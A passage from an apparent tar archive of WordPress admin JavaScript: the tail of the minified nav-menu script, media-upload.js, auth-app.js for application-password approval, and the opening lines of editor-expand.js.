li"),parseInt(o.index(),10)),a=parseInt(o.childMenuItems().length,10),m=0<a?u+a:u;0==n&&(m=t.length-1),i.insertAfter(t.eq(m)).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.parentUpdated,"polite")},changeMenuOrder:function(e){var t=k("#menu-to-edit li"),e=k(e),n=parseInt(e.val(),10),i=e.closest("li.menu-item").first(),a=i.childMenuItems(),s=a.length,m=parseInt(i.index(),10),o=i.find(".menu-item-data-parent-id").val(),o=k('.menu-item .menu-item-data-parent-id[value="'+o+'"]'),o=k(o[n-1]).closest("li.menu-item"),n=(0<s&&(i=i.add(a)),o.childMenuItems().length),s=parseInt(o.index(),10),t=k("#menu-to-edit li"),a=s;(a<m?(a=s,i.detach().insertBefore(t.eq(a))):(a+=n,i.detach().insertAfter(t.eq(a)))).updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.orderUpdated,"polite")},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,s,m,o,u,d,r,l,c,h;!0===k(e).data("needs_accessibility_refresh")&&(m=0===(s=(a=(e=k(e)).closest("li.menu-item").first()).menuItemDepth()),o=e.closest(".menu-item-handle").find(".menu-item-title").text(),u=e.closest(".menu-item-handle").find(".item-controls").find(".item-type").text(),d=parseInt(a.index(),10),r=m?s:parseInt(s-1,10),r=a.prevAll(".menu-item-depth-"+r).first().find(".menu-item-title").text(),l=a.prevAll(".menu-item-depth-"+s).first().find(".menu-item-title").text(),c=k("#menu-to-edit li").length,h=a.nextAll(".menu-item-depth-"+s).length,a.find(".field-move").toggle(1<c),0!==d&&(n=a.find(".menus-move-up")).attr("aria-label",menus.moveUp).css("display","inline"),0!==d&&m&&(n=a.find(".menus-move-top")).attr("aria-label",menus.moveToTop).css("display","inline"),d+1!==c&&0!==d&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),0===d&&0!==h&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),m||(n=a.find(".menus-move-left"),i=menus.outFrom.replace("%s",r),n.attr("aria-label",menus.moveOutFrom.replace("%s",r)).text(i).css("display","inline")),0!==d&&a.find(".menu-item-data-parent-id").val()!==a.prev().find(".menu-item-data-db-id").val()&&(n=a.find(".menus-move-right"),i=menus.under.replace("%s",l),n.attr("aria-label",menus.moveUnder.replace("%s",l)).text(i).css("display","inline")),m=m?(t=(h=k(".menu-item-depth-0")).index(a)+1,c=h.length,menus.menuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",c)):(d=(r=a.prevAll(".menu-item-depth-"+parseInt(s-1,10)).first()).find(".menu-item-data-db-id").val(),n=r.find(".menu-item-title").text(),i=(l=k('.menu-item .menu-item-data-parent-id[value="'+d+'"]')).length,t=k(l.parents(".menu-item").get().reverse()).index(a)+1,s<2?menus.subMenuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n):menus.subMenuMoreDepthFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n).replace("%6$d",s)),e.attr("aria-label",m),e.data("needs_accessibility_refresh",!1))},refreshAdvancedAccessibility:function(){k(".menu-item-settings .field-move .menus-move").hide(),k("a.item-edit").data("needs_accessibility_refresh",!0),k(".menu-item-edit-active a.item-edit").each(function(){I.refreshAdvancedAccessibilityOfItem(this)})},refreshKeyboardAccessibility:function(){k("a.item-edit").off("focus").on("focus",function(){k(this).off("keydown").on("keydown",function(e){var t,n=k(this),i=n.parents("li.menu-item").getItemData();if((37==e.which||38==e.which||39==e.which||40==e.which)&&(n.off("keydown"),1!==k("#menu-to-edit li").length)){switch(t={38:"up",40:"down",37:"left",39:"right"},(t=k("body").hasClass("rtl")?{38:"up",40:"down",39:"left",37:"right"}:t)[e.which]){case"up":I.moveMenuItem(n,"up");break;case"down":I.moveMenuItem(n,"down");break;case"left":I.moveMenuItem(n,"left");break;case"right":I.moveMenuItem(n,"right")}return k("#edit-"+i["menu-item-db-id"]).trigger("focus"),!1}})})},initPreviewing:function(){k("#menu-to-edit").on("change input",".edit-menu-item-title",function(e){var e=k(e.currentTarget),t=e.val(),e=e.closest(".menu-item").find(".menu-item-title");t?e.text(t).removeClass("no-title"):e.text(wp.i18n._x("(no label)","missing menu item navigation label")).addClass("no-title")})},initToggles:function(){postboxes.add_postbox_toggles("nav-menus"),columns.useCheckboxesForHidden(),columns.checked=function(e){k(".field-"+e).removeClass("hidden-field")},columns.unchecked=function(e){k(".field-"+e).addClass("hidden-field")},I.menuList.hideAdvancedMenuItemFields(),k(".hide-postbox-tog").on("click",function(){var e=k(".accordion-container li.accordion-section").filter(":hidden").map(function(){return this.id}).get().join(",");k.post(ajaxurl,{action:"closed-postboxes",hidden:e,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:"nav-menus"})})},initSortables:function(){var m,a,s,n,o,u,d,r,l,c,e,h=0,p=I.menuList.offset().left,f=k("body"),v=f[0].className&&(e=f[0].className.match(/menu-max-depth-(\d+)/))&&e[1]?parseInt(e[1],10):0;function g(e){n=e.placeholder.prev(".menu-item"),o=e.placeholder.next(".menu-item"),n[0]==e.item[0]&&(n=n.prev(".menu-item")),o[0]==e.item[0]&&(o=o.next(".menu-item")),u=n.length?n.offset().top+n.height():0,d=o.length?o.offset().top+o.height()/3:0,a=o.length?o.menuItemDepth():0,s=n.length?(e=n.menuItemDepth()+1)>I.options.globalMaxDepth?I.options.globalMaxDepth:e:0}function b(e,t){e.placeholder.updateDepthClass(t,h),h=t}0!==k("#menu-to-edit li").length&&k(".drag-instructions").show(),p+=I.isRTL?I.menuList.width():0,I.menuList.sortable({handle:".menu-item-handle",placeholder:"sortable-placeholder",items:I.options.sortableItems,start:function(e,t){var n,i;I.isRTL&&(t.item[0].style.right="auto"),l=t.item.children(".menu-item-transport"),m=t.item.menuItemDepth(),b(t,m),i=(t.item.next()[0]==t.placeholder[0]?t.item.next():t.item).childMenuItems(),l.append(i),n=l.outerHeight(),n=(n+=0<n?+t.placeholder.css("margin-top").slice(0,-2):0)+t.helper.outerHeight(),r=n,t.placeholder.height(n-=2),c=m,i.each(function(){var e=k(this).menuItemDepth();c=c<e?e:c}),n=t.helper.find(".menu-item-handle").outerWidth(),n+=I.depthToPx(c-m),t.placeholder.width(n-=2),(i=t.placeholder.next(".menu-item")).css("margin-top",r+"px"),t.placeholder.detach(),k(this).sortable("refresh"),t.item.after(t.placeholder),i.css("margin-top",0),g(t)},stop:function(e,t){var n=h-m,i=l.children().insertAfter(t.item),a=t.item.find(".item-title .is-submenu");if(0<h?a.show():a.hide(),0!=n){t.item.updateDepthClass(h),i.shiftDepthClass(n);var a=n,s=v;if(0!==a){if(0<a)v<(i=c+a)&&(s=i);else if(a<0&&c==v)for(;!k(".menu-item-depth-"+s,I.menuList).length&&0<s;)s--;f.removeClass("menu-max-depth-"+v).addClass("menu-max-depth-"+s),v=s}}I.registerChange(),t.item.updateParentMenuItemDBId(),t.item[0].style.top=0,I.isRTL&&(t.item[0].style.left="auto",t.item[0].style.right=0),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),t.item.updateParentDropdown(),t.item.updateOrderDropdown(),I.refreshAdvancedAccessibilityOfItem(t.item.find("a.item-edit"))},change:function(e,t){t.placeholder.parent().hasClass("menu")||(n.length?n.after(t.placeholder):I.menuList.prepend(t.placeholder)),g(t)},sort:function(e,t){var n=t.helper.offset(),i=I.isRTL?n.left+t.helper.width():n.left,i=I.negateIfRTL*I.pxToDepth(i-p);s<i||n.top<u-I.options.targetTolerance?i=s:i<a&&(i=a),i!=h&&b(t,i),d&&n.top+r>d&&(o.after(t.placeholder),g(t),k(this).sortable("refreshPositions"))}})},initManageLocations:function(){k("#menu-locations-wrap form").on("submit",function(){window.onbeforeunload=null}),k(".menu-location-menus select").on("change",function(){var e=k(this).closest("tr").find(".locations-edit-menu-link");k(this).find("option:selected").data("orig")?e.show():e.hide()})},attachMenuEditListeners:function(){var t=this;k("#update-nav-menu").on("click",function(e){if(e.target&&e.target.className)return-1!=e.target.className.indexOf("item-edit")?t.eventOnClickEditLink(e.target):-1!=e.target.className.indexOf("menu-save")?t.eventOnClickMenuSave(e.target):-1!=e.target.className.indexOf("menu-delete")?t.eventOnClickMenuDelete(e.target):-1!=e.target.className.indexOf("item-delete")?t.eventOnClickMenuItemDelete(e.target):-1!=e.target.className.indexOf("item-cancel")?t.eventOnClickCancelLink(e.target):void 0}),k("#menu-name").on("input",_.debounce(function(){var e=k(document.getElementById("menu-name")),t=e.val();t&&t.replace(/\s+/,"")?e.parent().removeClass("form-invalid"):e.parent().addClass("form-invalid")},500)),k('#add-custom-links input[type="text"]').on("keypress",function(e){k("#customlinkdiv").removeClass("form-invalid"),k("#custom-menu-item-url").removeAttr("aria-invalid").removeAttr("aria-describedby"),k("#custom-url-error").hide(),13===e.keyCode&&(e.preventDefault(),k("#submit-customlinkdiv").trigger("click"))}),k("#submit-customlinkdiv").on("click",function(e){var t=k("#custom-menu-item-url"),n=t.val().trim(),i=k("#custom-url-error"),a=k("#menu-item-url-wrap");i.hide(),a.removeClass("has-error"),/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(n)||(e.preventDefault(),t.addClass("form-invalid").attr("aria-invalid","true").attr("aria-describedby","custom-url-error"),i.show(),n=i.text(),a.addClass("has-error"),wp.a11y.speak(n,"assertive"))})},attachBulkSelectButtonListeners:function(){var e=this;k(".bulk-select-switcher").on("change",function(){this.checked?(k(".bulk-select-switcher").prop("checked",!0),e.enableBulkSelection()):(k(".bulk-select-switcher").prop("checked",!1),e.disableBulkSelection())})},enableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").addClass("bulk-selection"),k("#nav-menu-bulk-actions-top").addClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").addClass("bulk-selection"),k.each(e,function(){k(this).prop("disabled",!1)})},disableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-top").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").removeClass("bulk-selection"),k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')&&k(".menu-items-delete").removeAttr("aria-describedby"),k.each(e,function(){k(this).prop("disabled",!0).prop("checked",!1)}),k(".menu-items-delete").addClass("disabled"),k("#pending-menu-items-to-delete ul").empty()},attachMenuCheckBoxListeners:function(){var e=this;k("#menu-to-edit").on("change",".menu-item-checkbox",function(){e.setRemoveSelectedButtonStatus()})},attachMenuItemDeleteButton:function(){var t=this;k(document).on("click",".menu-items-delete",function(e){var n,i;e.preventDefault(),k(this).hasClass("disabled")||(k.each(k(".menu-item-checkbox:checked"),function(e,t){k(t).parents("li").find("a.item-delete").trigger("click")}),k(".menu-items-delete").addClass("disabled"),k(".bulk-select-switcher").prop("checked",!1),n="",i=k("#pending-menu-items-to-delete ul li"),k.each(i,function(e,t){t=k(t).find(".pending-menu-item-name").text(),t=menus.menuItemDeletion.replace("%s",t);n+=t,e+1<i.length&&(n+=", ")}),e=menus.itemsDeleted.replace("%s",n),wp.a11y.speak(e,"polite"),t.disableBulkSelection(),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown())})},attachPendingMenuItemsListForDeletion:function(){k("#post-body-content").on("change",".menu-item-checkbox",function(){var e,t,n,i;k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')||k(".menu-items-delete").attr("aria-describedby","pending-menu-items-to-delete"),e=k(this).next().text(),t=k(this).parent().next(".item-controls").find(".item-type").text(),n=k(this).attr("data-menu-item-id"),0<(i=k("#pending-menu-items-to-delete ul").find("[data-menu-item-id="+n+"]")).length&&i.remove(),!0===this.checked&&((i=k("<li>",{"data-menu-item-id":n})).append(k("<span>",{class:"pending-menu-item-name",text:e})),i.append(" "),i.append(k("<span>",{class:"pending-menu-item-type",text:"("+t+")"})),i.append(k("<span>",{class:"separator"})),k("#pending-menu-items-to-delete ul").append(i)),k("#pending-menu-items-to-delete li .separator").html(", "),k("#pending-menu-items-to-delete li .separator").last().html(".")})},setBulkDeleteCheckboxStatus:function(){var e=k("#menu-to-edit .menu-item-checkbox");k.each(e,function(){k(this).prop("disabled")?k(this).prop("disabled",!1):k(this).prop("disabled",!0),k(this).is(":checked")&&k(this).prop("checked",!1)}),this.setRemoveSelectedButtonStatus()},setRemoveSelectedButtonStatus:function(){var e=k(".menu-items-delete");0<k(".menu-item-checkbox:checked").length?e.removeClass("disabled"):e.addClass("disabled")},attachMenuSaveSubmitListeners:function(){k("#update-nav-menu").on("submit",function(){var e=k("#update-nav-menu").serializeArray();k('[name="nav-menu-data"]').val(JSON.stringify(e))})},attachThemeLocationsListeners:function(){var e=k("#nav-menu-theme-locations"),t={action:"menu-locations-save"};t["menu-settings-column-nonce"]=k("#menu-settings-column-nonce").val(),e.find('input[type="submit"]').on("click",function(){return e.find("select").each(function(){t[this.name]=k(this).val()}),e.find(".spinner").addClass("is-active"),k.post(ajaxurl,t,function(){e.find(".spinner").removeClass("is-active")}),!1})},attachQuickSearchListeners:function(){var t;k("#nav-menu-meta").on("submit",function(e){e.preventDefault()}),k("#nav-menu-meta").on("input",".quick-search",function(){var e=k(this);e.attr("autocomplete","off"),t&&clearTimeout(t),t=setTimeout(function(){I.updateQuickSearchResults(e)},500)}).on("blur",".quick-search",function(){I.lastSearch=""})},updateQuickSearchResults:function(e){var t,n,i=e.val(),a=k("#page-search-checklist");I.lastSearch!=i&&(i.length<=1?(a.empty(),wp.a11y.speak(wp.i18n.__("Search results cleared"))):(I.lastSearch=i,t=e.parents(".tabs-panel"),n={action:"menu-quick-search","response-format":"markup",menu:k("#menu").val(),"menu-settings-column-nonce":k("#menu-settings-column-nonce").val(),q:i,type:e.attr("name")},k(".spinner",t).addClass("is-active"),k.post(ajaxurl,n,function(e){I.processQuickSearchQueryResponse(e,n,t)})))},addCustomLink:function(e){var t=k("#custom-menu-item-url").val().toString(),n=k("#custom-menu-item-name").val();if(""!==t&&(t=t.trim()),e=e||I.addMenuItemToBottom,!/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(t))return k("#customlinkdiv").addClass("form-invalid"),!1;k(".customlinkdiv .spinner").addClass("is-active"),this.addLinkToMenu(t,n,e,function(){k(".customlinkdiv .spinner").removeClass("is-active"),k("#custom-menu-item-name").val("").trigger("blur"),k("#custom-menu-item-url").val("").attr("placeholder","https://")})},addLinkToMenu:function(e,t,n,i){n=n||I.addMenuItemToBottom,I.addItemToMenu({"-1":{"menu-item-type":"custom","menu-item-url":e,"menu-item-title":t}},n,i=i||function(){})},addItemToMenu:function(e,n,i){var a,t=k("#menu").val(),s=k("#menu-settings-column-nonce").val();n=n||function(){},i=i||function(){},a={action:"add-menu-item",menu:t,"menu-settings-column-nonce":s,"menu-item":e},k.post(ajaxurl,a,function(e){var t=k("#menu-instructions");e=(e=e||"").toString().trim(),n(e,a),k("li.pending").hide().fadeIn("slow"),k(".drag-instructions").show(),!t.hasClass("menu-instructions-inactive")&&t.siblings().length&&t.addClass("menu-instructions-inactive"),i()})},addMenuItemToBottom:function(e){e=k(e);e.hideAdvancedMenuItemFields().appendTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},addMenuItemToTop:function(e){e=k(e);e.hideAdvancedMenuItemFields().prependTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},attachUnsavedChangesListener:function(){k("#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select").on("change",function(){I.registerChange()}),0!==k("#menu-to-edit").length||0!==k(".menu-location-menus select").length?window.onbeforeunload=function(){if(I.menusChanged)return wp.i18n.__("The changes you made will be lost if you navigate away from this page.")}:k("#menu-settings-column").find("input,select").end().find("a").attr("href","#").off("click")},registerChange:function(){I.menusChanged=!0},attachTabsPanelListeners:function(){k("#menu-settings-column").on("click",function(e){var t,n,i,a,s=k(e.target);if(s.hasClass("nav-tab-link"))n=s.data("type"),i=s.parents(".accordion-section-content").first(),k("input",i).prop("checked",!1),k(".tabs-panel-active",i).removeClass("tabs-panel-active").addClass("tabs-panel-inactive"),k("#"+n,i).removeClass("tabs-panel-inactive").addClass("tabs-panel-active"),k(".tabs",i).removeClass("tabs"),s.parent().addClass("tabs"),k(".quick-search",i).trigger("focus"),i.find(".tabs-panel-active .menu-item-title").length?i.removeClass("has-no-menu-item"):i.addClass("has-no-menu-item"),e.preventDefault();else if(s.hasClass("select-all"))(t=s.closest(".button-controls").data("items-type"))&&((a=k("#"+t+" .tabs-panel-active .menu-item-title input")).length!==a.filter(":checked").length||s.is(":checked")?s.is(":checked")&&a.prop("checked",!0):a.prop("checked",!1));else if(s.hasClass("menu-item-checkbox"))(t=s.closest(".tabs-panel-active").parent().attr("id"))&&(a=k("#"+t+" .tabs-panel-active .menu-item-title input"),n=k('.button-controls[data-items-type="'+t+'"] .select-all'),a.length!==a.filter(":checked").length||n.is(":checked")?n.is(":checked")&&n.prop("checked",!1):n.prop("checked",!0));else if(s.hasClass("submit-add-to-menu"))return I.registerChange(),e.target.id&&"submit-customlinkdiv"==e.target.id?I.addCustomLink(I.addMenuItemToBottom):e.target.id&&-1!=e.target.id.indexOf("submit-")&&k("#"+e.target.id.replace(/submit-/,"")).addSelectedToMenu(I.addMenuItemToBottom),!1}),k("#nav-menu-meta").on("click","a.page-numbers",function(){var n=k(this).closest(".inside");return k.post(ajaxurl,this.href.replace(/.*\?/,"").replace(/action=([^&]*)/,"")+"&action=menu-get-metabox",function(e){var t=JSON.parse(e);-1!==e.indexOf("replace-id")&&(e=document.getElementById(t["replace-id"]),t.markup)&&e&&n.html(t.markup)}),!1})},eventOnClickEditLink:function(e){var t,e=/#(.*)$/.exec(e.href);if(e&&e[1]&&0!==(t=(e=k("#"+e[1])).parent()).length)return t.hasClass("menu-item-edit-inactive")?(e.data("menu-item-data")||e.data("menu-item-data",e.getItemData()),e.slideDown("fast"),t.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active")):(e.slideUp("fast"),t.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive")),!1},eventOnClickCancelLink:function(e){var t=k(e).closest(".menu-item-settings"),e=k(e).closest(".menu-item");return e.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive"),t.setItemData(t.data("menu-item-data")).hide(),e.find(".menu-item-title").text(t.data("menu-item-data")["menu-item-title"]),!1},eventOnClickMenuSave:function(){var e,t=k("#menu-name"),n=t.val();return n&&n.replace(/\s+/,"")?(e=k("#update-nav-menu"),k("#nav-menu-theme-locations select").each(function(){e.append(k("<input>",{type:"hidden",name:this.name,value:k(this).val()}))}),I.menuList.find(".menu-item-data-position").val(function(e){return e+1}),!(window.onbeforeunload=null)):(t.parent().addClass("form-invalid"),!1)},eventOnClickMenuDelete:function(){return!!window.confirm(wp.i18n.__("You are about to permanently delete this menu.\n'Cancel' to stop, 'OK' to delete."))&&!(window.onbeforeunload=null)},eventOnClickMenuItemDelete:function(e){e=parseInt(e.id.replace("delete-",""),10);return I.removeMenuItem(k("#menu-item-"+e)),I.registerChange(),!1},processQuickSearchQueryResponse:function(e,t,n){var i,a,s,m,o={},u=document.getElementById("nav-menu-meta"),d=/menu-item[(\[^]\]*/,e=k("<div>").html(e).find("li"),r=n.closest(".accordion-section-content"),l=r.find(".button-controls .select-all");e.length?(e.each(function(){if(s=k(this),(i=d.exec(s.html()))&&i[1]){for(a=i[1];u.elements["menu-item["+a+"][menu-item-type]"]||o[a];)a--;o[a]=!0,a!=i[1]&&s.html(s.html().replace(new RegExp("menu-item\\["+i[1]+"\\]","g"),"menu-item["+a+"]"))}}),k(".categorychecklist",n).html(e),wp.a11y.speak(wp.i18n.sprintf(wp.i18n.__("%d Search Results Found"),e.length),"assertive"),k(".spinner",n).removeClass("is-active"),r.removeClass("has-no-menu-item"),l.is(":checked")&&l.prop("checked",!1)):(e=wp.i18n.__("No results found."),l=k("<li>"),m=k("<p>",{text:e}),l.append(m),k(".categorychecklist",n).empty().append(l),k(".spinner",n).removeClass("is-active"),r.addClass("has-no-menu-item"),wp.a11y.speak(e,"assertive"))},removeMenuItem:function(t){var n=t.childMenuItems();k(document).trigger("menu-removing-item",[t]),t.addClass("deleting").animate({opacity:0,height:0},350,function(){var e=k("#menu-instructions");t.remove(),n.shiftDepthClass(-1).updateParentMenuItemDBId(),0===k("#menu-to-edit li").length&&(k(".drag-instructions").hide(),e.removeClass("menu-instructions-inactive")),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemRemoved),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown()})},depthToPx:function(e){return e*I.options.menuItemDepthPerLevel},pxToDepth:function(e){return Math.floor(e/I.options.menuItemDepthPerLevel)}};k(function(){wpNavMenu.init(),k(".menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select").on("focus",function(){var e,t,n;783<=window.innerWidth&&(e=k("#nav-menu-footer").height()+20,0<(t=k(this).offset().top-(k(window).scrollTop()+k(window).height()-k(this).height()))&&(t=0),(t*=-1)<e)&&(n=k(document).scrollTop(),k(document).scrollTop(n+(e-t)))})}),k(document).on("menu-item-added",function(){k(".bulk-actions").is(":visible")||k(".bulk-actions").show()}),k(document).on("menu-removing-item",function(e,t){1===k(t).parents("#menu-to-edit").find("li").length&&k(".bulk-actions").is(":visible")&&k(".bulk-actions").hide()})}(jQuery); media-upload.js 0000644 00000006611 15174417325 0007460 0 ustar 00 /** * Contains global functions for the media upload within the post edit screen. * * Updates the ThickBox anchor href and the ThickBox's own properties in order * to set the size and position on every resize event. Also adds a function to * send HTML or text to the currently active editor. * * @file * @since 2.5.0 * @output wp-admin/js/media-upload.js * * @requires jQuery */ /* global tinymce, QTags, wpActiveEditor, tb_position */ /** * Sends the HTML passed in the parameters to TinyMCE. * * @since 2.5.0 * * @global * * @param {string} html The HTML to be sent to the editor. * @return {void|boolean} Returns false when both TinyMCE and QTags instances * are unavailable. This means that the HTML was not * sent to the editor. */ window.send_to_editor = function( html ) { var editor, hasTinymce = typeof tinymce !== 'undefined', hasQuicktags = typeof QTags !== 'undefined'; // If no active editor is set, try to set it. if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } // If the editor is set and not hidden, // insert the HTML into the content of the editor. if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { // If quick tags are available, insert the HTML into its content. QTags.insertContent( html ); } else { // If neither the TinyMCE editor and the quick tags are available, // add the HTML to the current active editor. document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }; (function($) { /** * Recalculates and applies the new ThickBox position based on the current * window size. * * @since 2.6.0 * * @global * * @return {Object[]} Array containing jQuery objects for all the found * ThickBox anchors. */ window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 833 < width ) ? 833 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } /** * Recalculates the new height and width for all links with a ThickBox class. * * @since 2.6.0 */ return $('a.thickbox').each( function() { var href = $(this).attr('href'); if ( ! href ) return; href = href.replace(/&width=[0-9]+/g, ''); href = href.replace(/&height=[0-9]+/g, ''); $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) ); }); }; // Add handler to recalculates the ThickBox position when the window is resized. $(window).on( 'resize', function(){ tb_position(); }); })(jQuery); auth-app.js 0000644 00000013244 15174417325 0006636 0 ustar 00 /** * @output wp-admin/js/auth-app.js */ /* global authApp */ ( function( $, authApp ) { var $appNameField = $( '#app_name' ), $approveBtn = $( '#approve' ), $rejectBtn = $( '#reject' ), $form = $appNameField.closest( 'form' ), context = { userLogin: authApp.user_login, successUrl: authApp.success, rejectUrl: authApp.reject }; $approveBtn.on( 'click', function( e ) { var name = $appNameField.val(), appId = $( 'input[name="app_id"]', $form ).val(); e.preventDefault(); if ( $approveBtn.prop( 'aria-disabled' ) ) { return; } if ( 0 === name.length ) { $appNameField.trigger( 'focus' ); return; } $approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; if ( appId.length > 0 ) { request.app_id = appId; } /** * Filters the request data used to Authorize an Application Password request. * * @since 5.6.0 * * @param {Object} request The request data. * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request. */ request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context ); wp.apiRequest( { path: '/wp/v2/users/me/application-passwords?_locale=user', method: 'POST', data: request } ).done( function( response, textStatus, jqXHR ) { /** * Fires when an Authorize Application Password request has been successfully approved. * * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'} * action to ensure that both the JS and no-JS variants are handled. * * @since 5.6.0 * * @param {Object} response The response from the REST API. * @param {string} response.password The newly created password. * @param {string} textStatus The status of the request. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR ); var raw = authApp.success, url, message, $notice; if ( raw ) { url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) + 'site_url=' + encodeURIComponent( authApp.site_url ) + '&user_login=' + encodeURIComponent( authApp.user_login ) + '&password=' + encodeURIComponent( response.password ); window.location = url; } else { message = wp.i18n.sprintf( /* translators: %s: Application name. */ '<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>', '<strong></strong>' ) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />'; $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', -1 ) .addClass( 'notice notice-success notice-alt' ) .append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) ) .append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' ); // We're using .text() to write the variables to avoid any chance of XSS. $( 'strong', $notice ).text( response.name ); $( 'input', $notice ).val( response.password ); $form.replaceWith( $notice ); $notice.trigger( 'focus' ); } } ).fail( function( jqXHR, textStatus, errorThrown ) { var errorMessage = errorThrown, error = null; if ( jqXHR.responseJSON ) { error = jqXHR.responseJSON; if ( error.message ) { errorMessage = error.message; } } var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .addClass( 'notice notice-error' ) .append( $( '<p></p>' ).text( errorMessage ) ); $( 'h1' ).after( $notice ); $approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' ); /** * Fires when an Authorize Application Password request encountered an error when trying to approve the request. * * @since 5.6.0 * @since 5.6.1 Corrected action name and signature. * * @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON. * @param {string} textStatus The status of the request. * @param {string} errorThrown The error message associated with the response status code. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR ); } ); } ); $rejectBtn.on( 'click', function( e ) { e.preventDefault(); /** * Fires when an Authorize Application Password request has been rejected by the user. * * @since 5.6.0 * * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request. */ wp.hooks.doAction( 'wp_application_passwords_reject_app', context ); // @todo: Make a better way to do this so it feels like less of a semi-open redirect. window.location = authApp.reject; } ); $form.on( 'submit', function( e ) { e.preventDefault(); } ); }( jQuery, authApp ) ); editor-expand.js 0000644 00000123156 15174417325 0007666 0 ustar 00 /** * @output wp-admin/js/editor-expand.js */ ( function( window, $, undefined ) { 'use strict'; var $window = $( window ), $document = $( document ), $adminBar = $( '#wpadminbar' ), $footer = $( '#wpfooter' ); /** * Handles the resizing of the editor. * * @since 4.0.0 * * @return {void} */ $( function() { var $wrap = $( '#postdivrich' ), $contentWrap = $( '#wp-content-wrap' ), $tools = $( '#wp-content-editor-tools' ), $visualTop = $(), $visualEditor = $(), $textTop = $( '#ed_toolbar' ), $textEditor = $( '#content' ), textEditor = $textEditor[0], oldTextLength = 0, $bottom = $( '#post-status-info' ), $menuBar = $(), $statusBar = $(), $sideSortables = $( '#side-sortables' ), $postboxContainer = $( '#postbox-container-1' ), $postBody = $('#post-body'), fullscreen = window.wp.editor && window.wp.editor.fullscreen, mceEditor, mceBind = function(){}, mceUnbind = function(){}, 